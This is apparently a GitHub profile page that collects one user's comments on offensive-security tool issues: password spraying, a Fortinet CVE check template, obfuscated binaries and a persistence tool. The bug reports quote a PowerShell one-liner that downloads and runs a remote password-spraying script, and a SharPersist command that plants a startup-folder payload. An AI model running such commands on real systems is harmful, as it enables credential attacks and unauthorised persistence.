moscowchill comments

Results 12 comments of


                                            moscowchill

Path Traversal vulnerability in import-orphans.php

Nice find!

Users with badPwdCount = $null are excluded by default

`PS C:\Windows\System32\WindowsPowerShell\v1.0> iex ((New-Object System.Net.WebClient).DownloadString('https://raw.github usercontent.com/bluecurby/DomainPasswordSpray/master/DomainPasswordSpray.ps1')); Invoke-DomainPasswordSpray -Password Zo mer2023! iex : At line:467 char:40 if($badcount -eq "null") ~ Missing statement block after if ( condition ). At line:1 char:1...

English version

https://github.com/shorefall/LSTAR-EN You are welcome!

English version

I added a script here that replaces 10~ exes in LSTAR for obfuscated ones from https://github.com/Flangvik/ObfuscatedSharpCollection/ https://github.com/shorefall/LSTAR-EN/blob/master/update_bins.ps1

Fortinet SSL VPN Out-of-bounds Write Vulnerability Check (CVE-2024-21762)

/nuclei -u x -t fortinet.yaml -code __ _ ____ __ _______/ /__ (_) / __ \/ / / / ___/ / _ \/ / / / / / /_/ /...

Fortinet SSL VPN Out-of-bounds Write Vulnerability Check (CVE-2024-21762)

You have to remove the degist line then it will allow you to sign the template thanks guys.

Execute Assembly not parsing arguments correctly

The example working one: SharPersist -t startupfolder -m list A command that breaks/bugs execution: execute-assembly C:\SharPersist.exe -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c payload.exe" -f "Test File on Startup" -m add

Execute Assembly not parsing arguments correctly

ETW or AMSI did not seem to influence this behaviour.

Introducing a Summary of non-failed authentications to results

Vouch for this method

Introducing a Summary of non-failed authentications to results

Based on my analysis of the PR and the current codebase, here's my code review of PR #886: Introducing a Summary of non-failed authentications to results: --- PR #886 Code...